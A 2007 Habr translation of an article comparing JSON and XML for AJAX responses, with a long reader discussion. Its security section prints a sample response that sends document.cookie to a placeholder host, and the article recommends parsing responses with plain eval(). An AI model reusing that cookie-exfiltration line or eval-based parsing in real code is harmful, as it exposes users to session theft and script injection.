Технический директор, Айри.рф
29,6
рейтинг
24 августа 2007 в 01:21

Разработка → JSON и XML. Что лучше? перевод

Примечание: ниже перевод обзорной статьи «JSON vs XML», посвященной JSON и его сравнению с XML по ряду критериев. Публикуется в целях популяризации JSON среди читателей Хабрахабра.

JSON (англ. JavaScript Object Notation) — формат обмена данными, легко читаем людьми, легко обрабатывается и генерируется программами.

Основан на подмножестве языка JavaScript, Standard ECMA-262 3rd Edition — декабрь 1999.

JSON — Википедия

Что является правильным форматом ответа на XMLHttpRequest в AJAX-приложениях? Для большинства приложений, основанных на разметке, ответ будет простым — (X)HTML. Для информационно-ориентированных приложений выбор будет лежать между XML и JSON. До недавнего времени я не сильно задавался вопросом, что лучше использовать, XML или JSON. Я просто предполагал, что в каждом конкретном случае стоит выбирать наиболее подходящий формат, и все. Но недавно мне довелось проверить на практике этот подход. В этой заметке я опишу критерии, по которым проводил сравнение между XML и JSON, и собственные умозаключения.

Итак, критерии следующие.

  • Удобочитаемость кода.
  • Простота создания объекта данных на стороне сервера.
  • Простота обработки данных на стороне клиента.
  • Простота расширения.
  • Отладка и исправление ошибок.
  • Безопасность.



Удобочитаемость кода



Peter-Paul Koch c QuirksMode.org рассматривает удобочитаемость кода как основной критерий своего анализа. По моему мнению, она является только второстепенной целью, но вы с легкостью согласитесь, что JSON гораздо проще воспринимается «на глаз», чем XML — стоит просто посмотреть на следующие примеры.

XML

   <font color="#069"><person></font>
      <font color="#069"><firstname></font>Subbu<font color="#069"></firstname></font>
      <font color="#069"><lastname></font>Allamaraju<font color="#069"></lastname></font>
   <font color="#069"></person></font>


JSON

   ({   
     <font color="#069">"firstName"</font> : <font color="#069">"Subbu"</font>,
     <font color="#069">"lastName"</font> : <font color="#069">"Allamaraju"</font>
   });


Но я готов поспорить, что возможность отладки и исправления ошибок гораздо важнее, чем удобочитаемость.

Простота создания



Формат XML уже известен много лет (прим.: первая рабочая версия была заявлена в 1996 году, а спецификация — уже в 2000), поэтому существует некоторый набор программных интерфейсов (API) для привязки данных к XML на нескольких языках программирования. Например, на Java можно использовать JAXB и XmlBeans для создания XML-ответа. Ниже приведен пример с использованием JAXB.

   Person person = <font color="#069">new</font> Person();
   person.setFirstName(<font color="#069">"Subbu"</font>);
   person.setLastName(<font color="#069">"Allamaraju"</font>);
   Marshaller marshaller = ... <font color="#008200">// Создаем обхект marshaller</font>
   marshaller.marshal(person, outputStream);


С другой стороны, все интерфейсы для создания ответа на JSON появились относительно недавно. Тем не менее, на JSON.org опубликован довольно впечатляющий их список на различных языках. Ниже приведен пример создания ответа при помощи Json-lib.

   Person person = <font color="#069">new</font> Person();
   person.setFirstName(<font color="#069">"Subbu"</font>);
   person.setLastName(<font color="#069">"Allamaraju"</font>);
   writer.write(JSONObject.fromObject(person).toString());


Если рассматривать функционирование таких программных интерфейсов, то создания JSON не сильно отличается от сериализации Java beans в объекты. Однако, стоит отметить, что сейчас известно гораздо больше способов генерации XML, нежели JSON. Некоторые из этих программных интерфейсов для XML существуют уже много лет и по этой причине могут быть стабильнее при использовании для сложных приложений.

Другим аспектом, который стоит рассмотреть, будет количество ресурсов, которое используется для генерации ответа. Если при получении данных уже производятся «тяжелые» операции, то для серверной части не составит большого труда дополнительно их преобразовывать в XML для ответа. Если же создание XML будет являться самой ресурсоемкой операцией, то лучше использовать JSON.

Простота использования



На стороне клиентского приложения обработка JSON-данных как ответа на XMLHttpRequest чрезвычайно проста.

   var person = eval(xhr.responseText);  
   alert(person.firstName);  


Используя обычный eval(), можно преобразовать ответ в объект JavaScript. Как только эта операция произведена, можно получить доступ к данным, используя свойства преобразованного объекта. Это наиболее изящная часть всего JSON.

Теперь рассмотрим XML. Чтобы сделать нижеприведенный фрагмент кода прозрачнее, я убрал все проверки на ошибки.

   var xml = xhr.responseXML;
   var elements = xml.getElementsByTagName(<font color="#069">"firstName"</font>);
   alert(elements[<font color="#c00000">0</font>].firstChild.textContent);


Очевидно, что при обработке данных, полученных от сервера, необходимо просмотреть все DOM-дерево. Это очень трудоемкая операция, и она предрасположена к появлению ошибок. К несчастью, в браузере нам приходится иметь дело именно с DOM. Браузеры не поддерживают языка запросов, наподобие XPath, для получения узлов дерева в XML-документе. Поддержка этих функций относится уже к XSLT, но он достаточно ограничен (прим.: в браузере) в плане преобразования XML в разметку (например, в HTML). Рабочая группа по программным Веб-интерфейсам (Web API Working Group) от W3C работает над интерфейсом селекторов (Selectors API), который может быть использован для применения CSS-селекторов при выборе узлов из объекта Document. Используя такой интерфейс можно будет преобразовать вышеприведенный пример кода в xml.match("person.firstName"), чтобы получить элемент firstName. Не сказать, что это большое достижение для XML-документа из этого примера, но может оказаться полезным для работы с сильно разветвленными документами. Этот интерфейс пока еще не завершен, и пройдут еще годы, прежде чем браузеры будут его поддерживать.

В общем, если я буду выбирать между XML и JSON, я предпочту JSON из-за простоты реализации обработки на стороне клиента.

Расширяемость



Расширяемость помогает уменьшить число связей между поставщиком и получателем данных. В контексте AJAX-приложений, скрипт на стороне клиента должен быть достаточно инвариантным относительно совместимых изменениях в данных.

По общему убеждению, XML автоматически является расширяемым просто благодаря наличию буквы «X». Но это не является безусловным правилом (т.е. действующим по умолчанию). Расширяемость XML исходит из того принципа, что вы можете определить дополнительные узлы в вашем XML, а затем применять правило «ненужное пропустить» (т.е. если при обработке XML вам встретился незнакомый элемент или атрибут, просто пропустите его).

Чтобы воспользоваться всеми преимуществами расширяемости, необходимо создавать код на стороне клиента с расчетом на эту самую расширяемость. Например, следующий пример развалится, если вы захотите вставить, например, элемент middleName.

  var xml = xhr.responseXML; 
  var elements = xml.getElementsByTagName(<font color="#069">"firstName"</font>);
  var firstNameEl = elements[<font color="#c00000">0</font>];
  var lastNameEl = firstNameEl.nextSibling;


Если вы вставите элемент <middleName> сразу после элемента <firstName>, в этом примере произойдет неверная интерпретация отчества как фамилии. Чтобы быть инвариантным относительно этого изменения, требуется переписать код, чтобы явно получать элемент <lastName>, или доступаться к nextSibling, только если обнаружен потомок с нужным tagName. Таким образом, XML является расширяемым до тех пор, как вы пишет код, рассчитывая на будущую расширяемость. Все предельно просто.

Вернемся к JSON. Я утверждаю, что расширить JSON-данные проще, чем XML. Это бесспорно требует меньше усилий. Рассмотрим добавление свойства middleName к JSON-ответу. Для того, чтобы получить к нему доступ, вам достаточно просто его вызвать.

   alert(person.middleName);


Этот код не изменится, если вы добавите отчество в ваш ответ. Но что делать в случае обработки человека с или без отчества? С JSON это просто.

  <font color="#069">if</font> (person.middleName) {
    <font color="#008200">// Обработка</font>
  }


Моя позиция заключается в том, что, если иметь в виду возможную будущую расширяемость, и XML-, JSON-данные могут быть расширены. Но с JSON расширять данные проще, чем с XML. Вам просто требуется проверить, что требуемое свойство существует у объекта, и действовать в соответствии с результатом проверки.

Существует и другая возможность расширить JSON-данные, она заключается в использовании вызовов функций вместе с объявлениями данных прямо в ответе.

  alert(<font color="#069">"Hi - I'm a person"</font>);
  ({<font color="#069">"firstName"</font> : <font color="#069">"Subbu"</font>,
    <font color="#069">"lastName"</font> : <font color="#069">"Allamaraju"</font>});


Когда данные объявляются через eval(), браузер также вызовет выражение alert(). В этом случае, вы можете и загрузить данные, и выполнить функции. Этим подходом стоит пользоваться с большой оглядкой, ибо он засоряет ответ вызовами функций и создает связь между вызовами и данными. В некоторых источниках также рассматривается потенциальная уязвимость такого подхода с точки зрения безопасности, об этом более подробно изложено немного ниже.

Отладка и исправление ошибок



Этот аспект касается как серверной части вашего приложения, так и клиентской. На сервере необходимо удостовериться в том, что данные правильно сформированы и корректны. На стороне клиента должно быть просто отлаживать ошибки в ответе.

В случае XML, относительно просто проверять, что данные, отправляемые клиенту, правильно сформированы и корректны. Вы можете использовать schema для ваших данных, и применить ее для проверки данных. С JSON эта задача становится ручной и требует проверку того, что в результате ответа у объекта присутствуют правильные атрибуты.

На стороне клиента в обоих случаях тяжело обнаружить ошибки. Для XML браузер будет просто не способен преобразовать его в responseXML. При небольших объемах JSON-данных можно воспользоваться расширением FireBug для отладки и исправления ошибок. Но при больших объемах данных становится несколько затруднительно соотнести сообщение об ошибке с конкретным местом в коде.

Безопасность



Dave Johnson в своей заметке JSON и Золотое руно высказывает мнение, что JSON может стать причиной проблем безопасности. Суть заметки сводится к тому, что если вы допускаете вставку вызовов функций наряду с данными в JSON-ответах и используете eval() для обработки ответа, то тем самым вы исполняете произвольный код, фактически, который уже может содержать угрозу безопасности.

  window.location = <font color="#069">"http://badsite.com?"</font> + document.cookie;
  person : { 
    <font color="#069">"firstName"</font> : <font color="#069">"Subbu"</font>,
    <font color="#069">"lastName"</font> : <font color="#069">"Allamaraju"</font>
  }


Если ответ в примере выше будет выполнен, это вызовет отправку браузером пользовательских cookies на сторонний сайт. Но в данном случае, существует некоторое заблуждение в определении угрозы безопасности. Не следует доверять данным или коду, полученным из непроверенного источника. И во-вторых, мы не сможете использовать XMLHttpRequest для связи с доменами, отличными от домена-источника скрипта. Итак, только сами разработчики при создании приложения могут инициировать отправку cookies на сторонний сайт. Это довольно сомнительно, потому что они могут с тем же успехом разместить этот зловредный код где угодно в документе за пределами передаваемого от сервера ответа с данными. Возможно, я что-то упустил, но я не вижу смысла рассматривать JSON как небезопасный по сравнению с XML.

Мой выбор



В случае информационно-ориентированных приложений я предпочту использовать JSON, а не XML, в силу его простоты и легкости обработки данных на стороне клиента. XML может быть незаменимым на сервере, но с JSON определенно проще работать на клиенте.

Ссылки по теме





Спасибо всем, кто прочитал этот перевод. Ценю и уважаю ваше мнение и комментарии. Постараюсь учесть все пожелания и не остаться в долгу. Если у вас возникнут какие-либо предложения по тематике будущих переводов, не стесняйтесь, напишите их — я постараюсь сделать подборку или детальный обзор материалов по этим темам. Спасибо за внимание.

Web Optimizator: проверка скорости загрузки сайтов
Перевод: Subbu Allamaraju
Николай Мациевский @sunnybear
карма
338,0
рейтинг 29,6
Технический директор, Айри.рф
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (96)

  • +2
    Подразумевать, что теги в XML-документе расположены в определённом порядке — одна из самых распространённых ошибок при работе с XML: http://forums.worsethanfailure.com/forums/thread/126704.aspx

    Это не только ломает расширяемость, но и ставит под угрозу возможность редактирования XML-файлов вручную: ведь мало кто способен выучить строгий порядок следования 20-и тегов. К тому же, это противоречит спецификации.

    > Итак, только сами разработчики при создании приложения могут инициировать отправку cookies на сторонний сайт.
    Вы упустили возможность такой атаки: представьте себе, что вы загружаете данные гостевой книги через JSON. Серверный скрипт неправильно обрабатывает данные escape-последовательностями, но не все, а только некоторые спецсимволы, и сообщение предыдущего пользователя будет выполнено через eval().
    • 0
      +1 с замечанием по безопасности согласен. Но, по сути, это проблемы разработчика, который "прошляпил" обработку escape-sequence, а не дыра в безопасности JSON
      • 0
        Да, но если это рассматривать в свете сравнения XML и JSON, то у XML нет такой "фичи".
        • 0
          а это точно преимущество?
          • 0
            Ну это как посмотреть. С одной стороны, с XML мы не можем "автомагически" выполнять JavaScript на клиенте. С другой, нехорошо смешивать данные и код, даже если всё 100% безопасно. Хотя в принципе, что мешает добавить в XML-документ элемент <evalthis> и исполнять на клиенте, но только при помощи явного eval()?
            • 0
              вот-вот :) Ничего не мешает добавить в XML.
              Но. При хороших условиях нужно иметь некий автоматический разборщик XML, который превращает наши XML данные, например, в массивы или классы, с которыми продолжаем работать.

              При плохих условиях - мы разбираем XML ручками под себя.

              Перворе решение - практичное и громоздкое, второе чревато аццкой поддержкой.

              Ну и JSON, который, грубо говоря, решает вышенаписанные проблемы XML на 70%.
              • 0
                Тут снова вопрос не в том, что лучше, а что удобнее в данной ситуации. XML — общий язык, не привязан к JavaScript. Его можно использовать для передачи данных в AJAX, можно — для передачи мгновенных сообщений (Jabber), а можно в формате XML хранить конфиг своей умной микроволновки. В этом его сила — в возможности обмена информацией между разными программами и поддержке во многих платформах.

                JSON же удобен, когда данные специально генерируются для одного клиента на JavaScript.
                • 0
                  речь же шла о веб-программировании, или я что-то недопонял?

                  то есть, если рассматривать исползование в общем XML vs JSON, то безусловно разделяю мнение выше
                  • 0
                    Нет, всё верно. Если брать только веб-программирование — то на данном этапе развития встроенных возможностей JavaScript, JSON без вопросов удобнее. Но как только сюда подмешать какую-то необычную базу данных на сервере, или другое внешнее условие — то XML может выйти удобнее. Хотя сходу, наверное, примеров не придумаю.
                    • 0
                      Что мешает парсить JSON?
                      ИМХО, ресурсоёмкость намного ниже.
                      • 0
                        дрелью гвозди забивать, она же тяжелая
                        • +1
                          Ну, строго говоря, xml тоже не чудом парсится. Нет молотка — обретите. Привязывать JSON к JS только из-за названия и встроенной функции eval? Опрометчиво. Нотация весьма удобная и лаконичная, левой информации не несёт, собирается и парсится быстро.
                          • 0
                            Для XML уже есть парсеры практически для любых платформ и языков.
                • 0
                  json - родной формат не только для яваскрипта, но и для того же питона, например
                  • 0
                    это же прекрасно!
    • 0
      > Подразумевать, что теги в XML-документе расположены в определённом порядке — одна из самых распространённых ошибок при работе с XML

      В целом да, но иногда бывает полезно жестко задать порядок следования элементов с помощью XSD — например, для обработки XMLя SAXом.
  • 0
    А как же насчет YAML? Который намного лаконичнее, понятнее, удобоваримее чем XML и тот же JSON?
    • 0
      он удобоваримее для человека, а как насчёт разворачивания YAML структур на стороне клиента (как с этим спавится браузер)?

      ИМХО: JSON оптимальный вариант.
  • +2
    Статью надо было назвать "Почему XML хуже JSON?" ;-)
  • 0
    Быстрее найти ошибку в xml, чем в js.
    Можно полдня целый день долбаться из-за одной пропущенной точки запятой.
    Когда я увижу обработчики обработчики на стороне сервера, то я возможно и перейду на него.

    И основной вопрос, зачем посторонним людям его легко читать? Те, кто это приложение разрабатывают, должны сами хорошо разбираться в своем коде, зачем им делать удобства для других?
    Плодить новых кулхацкеров?
    • 0
      Веб — открытая среда. Те, кто рассчитывают на то, что их код не прочитают, поступают неосмотрительно :)
      • 0
        Есть библиотеки для автоматической генерации JSON, а в php это вроде уже на уровне ядра начиная с 5й версии. А посторонним людям реально не стоит знать.....а вот те кто будут работать с этим кодом(я за опенсорс) те уже не посторонние
        • 0
          В PHP с версии 5.2 автоматически включается модуль JSON. Кстати, в том же PHP есть довольно удобный extension SimpleXML.
          • 0
            Всё так, но, например, на мастерхосте поддержки JSON нет... Наверно, и некоторые другие провайдеры этим же страдают.
              • 0
                comparison of php json libraries
                http://gggeek.altervista.org/sw/article_…
                Ознакомьтесь с производительностью конкурентов. Я, конечно, поставил временную заглушку, но отсутствие поддержки json у такого крупного хостера настораживает.
                • 0
                  Каких конкурентов? Конкурентов кому?

                  Интерес к JSON появился не так давно, поэтому у мастерхост и нет поддержки. Обновить весь софт на всех их машинах — очень длительный и мучительный процесс.
                  • 0
                    Извините, bolk, Вы не хотите смотреть ссылки, которые я привожу - я не готов с Вами дискутировать.
                    • 0
                      Я просто не понял о конкуренции кого с кем идёт речь.
                      • 0
                        О конкуренции между разными реализациями JSON в PHP, конечно!
      • 0
        да я не против этого, мне просто не хочется в пустую тратить время для удобства посторонних.
    • 0
      А вы на каком языке (языках) программируете? Зайдите на http://json.org/ там есть список языков, для которых уже есть библиотеки и это только "официальные".
      • 0
        спасибо, схожу.
    • 0
      Можно полдня целый день долбаться из-за одной пропущенной точки запятой.

      Так то ж код. А сериализовать объекты в JSON можно чем угодно. И - если не изобретать велосипед - совершенно не париться по поводу пропущенных символов.
      • 0
        Все, уговорили.
        Следующий проект а-ля web 2.0 делаю на json + jquery/prototype
  • +1
    В рамках примера:

    XML[130 байт]:


    Subbu
    Allamaraju


    JSON[71 байт]:
    ({
    "firstName" : "Subbu",
    "lastName" : "Allamaraju"
    });
  • 0
    Кстати, отличная статья, вроде одна из самых интересных за последнее время.

    Автор забыл упомянуть (или не захотел), что JSON поддерживается ActionScript в Flash.
    • 0
      Да, JS и AS - это языки стандарта ECMA-262.
      Такой вид нотации в них заложен на уровне синтаксиса...
  • 0
    JSON удобнее, это неоспоримо. Но безопасность… поэтому он не идеален.
    • +1
      Проблем с безопасностью там нет, если использовать нормальные библиотеки для работы с JSON, которые экранируют всё, что надо.
    • 0
      Хм.. если разработчик клиентской части приложения не доверяет разработчику серверной части, то тут никакие технические средства с безопасностью не помогут.
  • +1
    Четко сквозит попытка навязать свое мнение со стороны автора.
    Момент с расширяемостью несколько озадачил. То, что в XML есть возможность выбрать элемент по номеру, а в JSON нет - это не значит, что XML хуже расширяется. Просто у XML есть дополнительная фича.

    Я бы расписал сравнительные преимущества AJAX+XML так:
    - Простота отладки
    - Безопасность
    - Устоявшийся стандарт, инвариантность.

    Сравнительные преимущества JSON:
    - В разы меньший объем данных (экономия трафика, плюс к скорости работы сайта)
    - Меньшая загрузка процессора и клиента, и сервера
    - Почти неограниченные возможности расширения (т.к. можно выполнить ф-цию)
    • 0
      Как мне кажется, фраза «AJAX+XML» — тавтология. Вы, по-сути, написали: «Advanced Javascript and XML + XML». Куда уж второй-то XML?
      • –5
        +1
      • 0
        Только всё же не Advanced, а Asynchronous =)
        • 0
          Проверил по википедии - ваша правда.
          Спасибо. :-)
      • 0
        AJAX можно спокойно использовать безо всякого XML'а (берёте ResponseText вместо ResponseXML). Так что «AJAX+XML» вполне корректно.
        • +2
          и это будет «Asynchronous Javascript And “тупо текст”, as Russians always says». :-)
  • +1
    Набор полезностей для заинтересованных:
    1. конвертор php-массива в json-строку
    function php2js($a) {
    if(is_null($a))
       return 'null';
    if($a===false)
       return 'false';
    if($a===true)
       return 'true';
    if(is_scalar($a)) {
       $a=addslashes($a);
       $a=str_replace("\n",'\n',$a);
       $a=str_replace("\r",'\r',$a);
       $a=preg_replace('{(</)(script)}i',"$1'+'$2",$a);
       return "'$a'";
    }
    $isList=true;
    for($i=0,reset($a);$i<count($a);$i++,next($a))
       if(key($a)!==$i) {
          $isList=false;
          break;
       }
    $result=array();
    if($isList) {
       foreach($a as $v)
          $result[]=php2js($v);
       return '['.join(',',$result).']';
    }
    else {
       foreach($a as $k=>$v)
          $result[]=php2js($k).':'.php2js($v);
       return '{'.join(',',$result).'}';
    }}
    2. запрос и обработка результата с использованием prototype
    new Ajax.Request(url,{
       method: 'get',
       onSuccess: function(transport) {
          var arr=transport.responseText.evalJSON();
          //blablabla with arr
       }});
    3. замечание к примеру в тексте
    var person=eval("("+xhr.responseText+")");
    • 0
      а можно поподробнее с третьим пунктом? мы предполагаем, что xhr.responseText изначально не является правильной структурой что ли?
      • 0
        Нужны скобки, выделенные жирным. Тут как раз и предполагается, что структура правильная. А prototype в примере 2 валидит структуру, тут можно не беспокоится о безопасности.
        • 0
          я не понимаю вашей позиции. Если у меня есть следующий ответ от сервера (описан чуть выше по тексту)

          ({
          "firstName" : "Subbu",
          "lastName" : "Allamaraju"
          });

          затем мы делаем

          var person = eval(xhr.responseText);
          alert(person.firstName);

          то получаем Subbu, пример-то выше уже скобки содержит
          • 0
            Не заметил. Но JSON не предполагает этих скобок, а eval хочет. Тогда пункт 3 снимается.)
    • 0
      a php_json не рулит?!
      • +1
        Рулит, но не у любого хостера есть.
        • 0
          >но не у любого хостера есть.
          *чухает_репу* действительно, об это я не подумал...
  • 0
    JSON и XML очень разные форматы и подходят для совершенно различных вещей. Думаю, выбирать среди них лучший то же, что выбирать между малолитражкой и пикапом.
    XML прекрасно подходит для обработки данных на стороне сервера, а JSON —для передачи небольших порций данных клиенту, тот же ajax. Хотя если требуется передать от клиента серверу, лучше использовать XML да API на XML-RCP.
    ИМХО, эти каждый из этих форматов имеет свои плюсы, которыми просто надо уметь пользоваться.
    • 0
      Согласен на 100%!
      При обмене между серверами можно использовать SOAP, при взаимодействии РНР (или любого серверного языка) и JS - json, при конфигурировании - YAML.
  • 0
    Судя по предложенным именам Allamaraju и тп.. автор статьи - ИНДУС.
  • +2
    Peter-Paul Kock -> Peter-Paul Koch
    • 0
      спасибо
  • +1
    Не очень нравится фраза «Для большинства приложений, основанных на разметке, ответ будет простым — HTML». Думаю, врезать голую разметку HTML — каменный век. XHTML и DOM же есть.

    Кстати, http://quirksmode.org/ не работает, верный адрес — http://www.quirksmode.org/.
    • 0
      спасибо
    • –1
      есть довольно много случаев, когда удобно получать HTML разметку динамически, зря вы так. Все навороты с генерацией иногда совершенно не нужны и лишь усложняют код.
      • 0
        DOM универсальнее / современнее. Экономия на сложности кода и времени разработки — вопрос не такой однозначный, зависящий от того, кто и что пишет.
        • 0
          DOM не универсальнее ни разу, когда надо к примеру подгрузить в область страницы html блок. Надо выбирать средства более удобные для конкретной задачи, а не более "современные", по-моему.
          • 0
            Если «область страницы» — это XHTML, то лучше DOM. Если речь о том, что было и будет text/html, а времени на ревизию кода нет и не будет, то, конечно, DOM ни при чем. Спорить тут не о чем.
            • 0
              по-моему я не понял ваш коммент, изначально.
              я за
              $("div#myid").html("text");
              и против document.createElement("span");
              для меня первое - это "врезание голой разметки", второе - это DOM в изначальном понимании этого слова.
              Мы правильно друг друга поняли?
              • 0
                Да, DOM он и есть DOM. Я ни за первое, ни за второе. Я за document.createElementNS("http://www.w3.org/1999/xhtml", "span");

                ;-)
  • 0
    Почему все забыли о том, что JSON с кодировкой windows-1251 в IE не работает, критическая ошибка!
    Это очень важно, если проект весь в кодировке windows-1251, то речь о JSON не идет, только XML!

    Пример из моей практики:
    Необходимо было передавать данные, используя AJAX, данные представляли собой XML из 1000 позиций, в каждой позиции - информация о продукте: название, принадлежность категории, урл и описание.
    Все отлично работает, но появилась необходимость увеличить массив данных до 5000 позиций. И тут браузер стал нереально притормаживать при распарски XML в DOM, замирал на несколько секунд, причем это было заметно.
    Решение на тот момент - JSON.

    Могу сказать, лично для меня проще генерировать XML (меньше вероятность допустить ошибку и больше найти ее :) и читается лучше, чем JSON.

    Причем XML-данные это не одно и то же, что структура данных JavaScript.

    Если использовать JSON, то на протокол обмена можно забить.
    В некоторых проектах протокол очень важен!
    • 0
      не знаю насчет поддержки windows-1251 в IE, но у меня есть работающий проект, в котором русские данные гоняются через JS-массив (имхо, «не совсем» JSON). Никаких проблем с кодировками на клиенте в IE 5.5,6,7 не наблюдаю.
      • 0
        попробуй AJAJ погонять в IE c windows-1251
        • 0
          Все на utf.
          • 0
            не всегда есть возможность использовать unicode в проектах,
            поэтому надо быть подкованным :)
            • 0
              все прекрасно работает. единственное НО - ослик хочет чтоб кодировка была явно указано в ответе сервера. при этом он не знает про "СП1251", ему требуется именно "Виндоуз-1251"
              • 0
                У меня с сафари на маке была подобная проблема. В ответе сервера надо было указать кодировку:
                header("Content-type: application/x-javascript;charset=utf-8");
              • 0
                не работает, если сервер отвечает в windows-1251
                • –1
                  ответ сервера или кодировка в заголовке?

                  это таки несколько не связанные друг с другом вещи получаются :)
                • 0
                  работает, готовить надо уметь :)
                  • 0
                    можно ссылку на работающий JSON в cp1251 в IE
                    • 0
                      надо зарегистрироваться на mail.ru и вот тут:
                      http://blogs.mail.ru/cgi-bin/journal/jed…
                      создать новую группу друзей (слева в желтом блоке)
                      • 0
                        ааа, работает,
                        у меня тоже заработало,
                        дело было в кривых руках предшественника! :)
    • 0
      5000 — что-то запредельное. Может, стоит пять раз подгрузить по мере пролистывания пользователем новый блок.)
      • 0
        ну-да, это было первым решением этой проблемы, но делать N-запросов вместо 1, время увеличивается.
      • 0
        почему запредельное, каталог товаров и есть необходимость на страницу загрузить все.
    • 0
      а разве XMLHttpRequest в основе своей не предполагает использование только utf?
      • 0
        По умолчанию. Но можно работать и в других кодировках.
    • 0
      лично для меня проще генерировать XML (меньше вероятность допустить ошибку и больше найти ее :) и читается лучше, чем JSON.

      для генерации JSON существует масса уже готовых сериализаторов. пользуйте из и не ошибетесь ;)

      а на счет "читается лучше", так тут скорее от привычки и структуры данных зависит. иногда JSON нагляднее из-за компактности, иногда XML (особенно если смотреть с фолдингом)...
      • 0
        это понятно, что есть готовые либы для генерации,
        но если я генерирую шаблоном,
        здесь приходится вызывать из шаблона функцию для генерации, и опять же протокола нет, а если придумать протокол, то слишком громоздко получается.
  • 0
    JSON - несомненно хорошая вещь для передачи простых конструкций. Но когда я начал им пользоваться, первым делом определил для себя правило - JSON ответ всегда содержит код возврата, текст ошибки, и данные. Чуть SOAP на json'е не написал :)
    Беда JSON при работе с PHP - есть только одна пристойная реализация, и, как ни печально, она работает только с utf-8. Почему одна - посмотрите на графики на comparison of php json libraries - php json очень сильно - на два порядка - превосходит по скорости другие реализации, и пользоваться ими просто страшно.
    • 0
      в Perl та же проблема с utf...
      пришлось брать в руки напильник
      • 0
        Perl-овщикам не прывыкать к проблемам с utf… дежурный напильник на столе — один из главных инструментов )
  • 0
    А еще JSON легко получать из анонимных объектов в C#
  • +1
    … Используя обычный eval()...

    Простите, а разве JSON.parse() не более «светлый путь»?
    Если я неправ, то расскажите, пожалуйста, в чем плюсы метода из поста (я не особо компетентен в этом вопросе, JS использую только в QML).

    UPD посту 6 лет почти, вот это поворот)
    • 0
      типа да. Не думаю, что он еще актуален

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.